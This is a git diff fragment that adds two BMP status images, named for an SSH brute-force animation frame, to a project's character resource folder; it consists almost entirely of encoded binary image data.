b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce4.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1848bb06f7cc059f8c12d2714eab268f5edbac54 GIT binary patch literal 18462 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 YtPebSc>yeE$j3Qj^sMsP`O>BT1#fPDX#fBK literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce5.bmp b/resources/default_config/characters/MEDUSA/status/SSHBruteforce/SSHBruteforce5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a47321891dcb284824ca1c75794c9a9b96e5431e GIT binary patch literal 18462 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 